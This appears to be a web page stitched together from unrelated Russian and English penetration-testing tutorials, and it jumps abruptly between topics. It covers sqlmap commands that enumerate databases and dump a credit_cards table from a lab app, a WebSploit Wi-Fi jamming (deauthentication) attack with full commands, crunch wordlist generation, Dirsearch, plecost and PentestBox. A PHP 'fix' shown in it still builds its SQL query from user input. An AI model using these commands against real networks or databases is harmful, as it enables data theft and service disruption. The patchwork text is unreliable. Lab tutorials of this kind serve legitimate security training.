Sqlmap-web-gui: графический интерфейс для sqlmap

Lab 1: Database Enumeration

In this lab, we enumerate & dump an entire database from a vulnerable web application. For this, we need the URL or copied request to the form we are trying sql injection. In this lab, I am using a request which was saved in a file. Refer here to see how to take this. Here the scenario is same as described in the referred link.

Step 1: Get All Databases

After the request is taken & saved as a file, we can proceed with sqlmap. If you find the page is not vulnerable, the banner grabbing wouldn’t have given exact results. So since the page is vulnerable, let us perform some attacks using sqlmap.

Command: sqlmap -r mut-sqlmap-bypassauth-post.req <replace this with your filename> --dbs

Performing DB Enumeration

The output comes up with the list of databases in the remote server.

Databases in the remote server

Now that we have a list of databases, we can focus into one of them. For this, I am focusing on a database named Mutillidae.

Step 2: Get tables from the selected database.

Command: sqlmap -r mut-sqlmap-bypassauth-post.req -D mutillidae <replace with your db name> --tables

Enumerating Tables

Now we can see tables populating

Tables PopulatingTables Populating

Now that we have a list of tables residing inside the remote server, we can dump any one of them to our system. All details of the operations performed are automatically stored by sqlmap. For now, let’s concentrate on the table named credit_cards.

Command: sqlmap -r mut-sqlmap-bypassauth-post.req -D mutillidae <replace with your db name> -T credit_cards <replace with your table> --dump

Dumping the target table

Now we can see the table on screen and a file will be automatically generated containing the contents of the table.

Table Contents

Sqlmap Description

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features:

  • Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB and HSQLDB database management systems.
  • Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
  • Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
  • Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
  • Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  • Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.
  • Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain string like name and pass.
  • Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.
  • Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem command.

Author: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar

License: GPLv2

Запускаем WebSploit

websploit

Задействуем плагин wifi_jammer

wsf > use wifi/wifi_jammer

Вам обязательно нужно «отремонтировать» модуль wifi_jammer, поскольку после обновления сторонних программ, он стал неработоспособным. Подробности, а также как вернуть его в строй написано в этой инструкции.

Посмотрим на его опции

wsf:Wifi_Jammer > show options

Нам нужно задать essid, bssid, channel и mon. Эти данные можно взять из вывода airodump-ng.

wsf:Wifi_Jammer > set essid Mial
wsf:Wifi_Jammer > set bssid 20:25:64:16:58:8C
wsf:Wifi_Jammer > set channel 11

Также обязательно:

wsf:Wifi_Jammer > set mon wlan0mon

Обратите внимание, что здесь нет вариантов, устанавливать значение нужно именно в wlan0mon.

Запускаем командой run:

wsf:Wifi_Jammer > run

Контролировать процесс можно двумя способами. Первый — просто убедиться, что ваши устройства больше не подключены к беспроводной сети Wi-Fi. Второй — с помощью команды airodump-ng wlan0mon. Обратите на такое поле её вывода как PWR. Его значение при нормальной работе находилось в районе 40.

После начала атаки значение PWR составляет 0 и до самого конца атаки не поднимается. Сеть Wi-Fi в это время недоступна.

В данном примере мы глушили одну точку доступа, возможно глушить сразу все ТД, например, этой программой.

Суть атаки заключается в непрерывной отправке пакетов деаутентификации.

2. Фильтрация данных и приведение к ожидаемому типу

Вы обратили внимание, что вместо $_GET я использую filter_input(INPUT_GET, ‘t’)? Я это делаю не просто так.

Вместе с filter_input я могу использовать фильтры. Например очищающие фильтры.

Если мы ожидаем получить только число, то использовать примерно так filter_input(INPUT_GET, ‘t’, FILTER_SANITIZE_NUMBER_INT)

Если мы хотим, чтобы были отброшены все тэги и все специальные символы, то мы можем использовать filter_input(INPUT_POST, ‘t’, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW) в результате чего удаляются все тэги, удаляются и кодируются специальные символы.

Давайте возьмём наш самый первый уязвимый скрипт и попробуем в нём фильтровать данные таким образом:

        <?php
        $mysqli = new mysqli("localhost", "root", "", "db_library");
        if (mysqli_connect_errno()) {
            printf("Не удалось подключиться: %sn", mysqli_connect_error());
            exit();
        } else {
            $mysqli->query("SET NAMES UTF8");
            $mysqli->query("SET CHARACTER SET UTF8");
            $mysqli->query("SET character_set_client = UTF8");
            $mysqli->query("SET character_set_connection = UTF8");
            $mysqli->query("SET character_set_results = UTF8");
        }

        $name = filter_input(INPUT_POST, 't', FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW); 
        if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = '$name'")) {
            while ($obj = $result->fetch_object()) {
                echo "<p><b>Ваше имя: </b> $obj->name</p>
        <p><b>Ваш статус:</b> $obj->status</p>
        <p><b>Доступные для Вас книги:</b> $obj->books</p><hr />";
            }
        } else {
            printf("Ошибка: %sn", $mysqli->error);
        }
        $mysqli->close();
        ?>

Результат полностью аналогичен предыдущему – попытка SQLMAP с треском провалилась.

Для строки можно сделать так

filter_input(INPUT_GET, 't', FILTER_SANITIZE_ENCODED, FILTER_FLAG_STRIP_HIGH)

(кодирует в формат URL, удаляет специальные символы).

Или так filter_input(INPUT_GET, 't', FILTER_SANITIZE_MAGIC_QUOTES)

(просто экранируются одиночная кавычка (‘), двойная кавычка («), обратный слэш () и NUL (NULL байт)).

Примеры использования crunch

Пример 1

crunch 1 8

crunch отобразит список слов, который начинается с a и заканчивается на zzzzzzzz

Пример 2

crunch 1 6 abcdefg

crunch отобразит список слов, в паролях которого используется набор abcdefg который начинается на a и заканчивается gggggg

Пример 3

crunch 1 6 abcdefg

В конце строки есть символ пробела. Чтобы crunch мог использовать пробел, вам нужно экранировать его, поставив перед ним символ . В этом примере вы можете также использовать кавычки вокруг букв тогда вам не нужен , например “abcdefg “. Crunch отобразит список слов, использующих набор символов abcdefg , который начинается на a, а заканчивается на шесть пробелов.

Пример 4

crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt

crunch будет использовать набор символов mixalpha-numeric-all-space из charset.lst и выведет сгенерированные пароли в файл с названием wordlist.txt. Этот файл начнётся с a и закончится на ” “

Пример 5

crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdogaaa

Dirsearch

Dirsearch

Плюсы:

  • Может отличать настоящие “200 ОК” страницы от страниц “200 ОК”, но с текстом “страница не найдена”;
  • Поставляется вместе с удобным словарем, имеющим хороший баланс между размером и эффективностью поиска. Содержит стандартные пути, характерные для многих CMS и стеков технологий;
  • Свой формат словаря, который позволяет достичь хорошей эффективности и гибкости перебора файлов и директорий;
  • Удобный вывод — простой текст, JSON;
  • Умеет делать throttling — паузу между запросами, что жизненно необходимо для любого слабого сервиса.

Минусы:

  • Расширения нужно передавать в виде строки, что неудобно, если нужно передать много расширений сразу;
  • Для того, чтобы использовать свой словарь, его нужно будет немного доработать до формата словарей Dirsearch для максимальной эффективности.

Статья Kali linux настройка после установки

lass=»block-body message-inner»>

P

Kali linux настройка после установки После установки kali linux У вас есть все в стандартных пакетах этой оперативной системы. Но есть некоторые вещи которые нам очень нужны, но их почему-то разработчик не включил в пакет. 1. Установите Flash player Это очень просто и должно работать для всех людей. Просто пропишите в терминале apt-get install flashplugin-nonfree и потом напишите update-flashplugin-nonfree —install Теперь Flash должен работать идеально. 2. Установите File Roller В Kali Linux отсутствует правильный менеджер архивов GUI. Вы можете установить его используя…

Чтение локальной базы данных уязвимостей

Список всех известных плагинов с уязвимостями:

mial@mint ~ $ plecost -nb --show-plugins

// Plecost - WordPress finger printer Tool - v1.0.0

 Plugins with vulnerabilities known:

    { 0 } - ab_google_map_travel
    { 1 } - acobot_live_chat_%26_contact_form
    { 2 } - activehelper_livehelp_live_chat
    { 3 } - ad-manager
    { 4 } - alipay
    { 5 } - all-video-gallery
    { 6 } - all_in_one_seo_pack
    { 7 } - all_in_one_wordpress_security_and_firewall
    { 8 } - another_wordpress_classifieds_plugin
    { 9 } - anyfont
    { 10 } - april%27s_super_functions_pack
    { 11 } - audio_player
    { 12 } - banner_effect_header
    { 13 } - bannerman
    { 14 } - bib2html
    { 15 } - bic_media_widget
    { 16 } - bird_feeder
    { 17 } - blogstand-smart-banner
    { 18 } - blue_wrench_video_widget
    { 19 } - bookx
    { 20 } - bradesco_gateway
    { 21 } - bsk_pdf_manager
    { 22 } - bulletproof-security
    { 23 } - bulletproof_security
    { 24 } - cakifo

       ……..

Показать уязвимости по конкретному плагину:

plecost -nb -vp google_analytics

Показать подробности по конкретной CVE:

plecost -nb --cve CVE-2014-9174

Как добавить свой собственный инструмент в PentestBox

Если вы хотите добавить инструмент, который ещё не включён в PentestBox, то для этого есть способы.

Для Python программ

  • Положите каталог с программой в PentestBox_Directory/bin или в любую папку внутри bin.
  • Т.к. Python настроен внутри PentestBox, то вы можете напрямую перейти в эту директорию, а затем запустить свою программу, поставив слово python перед именем файла.
  • Можно настроить псевдоним (алиас) для этой программы, как это сделать написано в секции Как добавить алиас.

Для Ruby программ

  • Положите каталог с программой в PentestBox_Directory/bin или в любую папку внутри bin.
  • Т.к. Ruby настроен внутри PentestBox, то вы можете напрямую перейти в эту директорию, а затем запустить свою программу, поставив слово ruby перед именем файла.
  • Можно настроить псевдоним (алиас) для этой программы, как это сделать написано в секции Как добавить алиас.

Для исполнимых файлов

  • Положите каталог с программой в PentestBox_Directory/bin или в любую папку внутри bin.
  • Вы можете напрямую перейти в эту директорию, а затем запустить свою программу.
  • Можно настроить псевдоним (алиас) для этой программы, как это сделать написано в секции Как добавить алиас.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector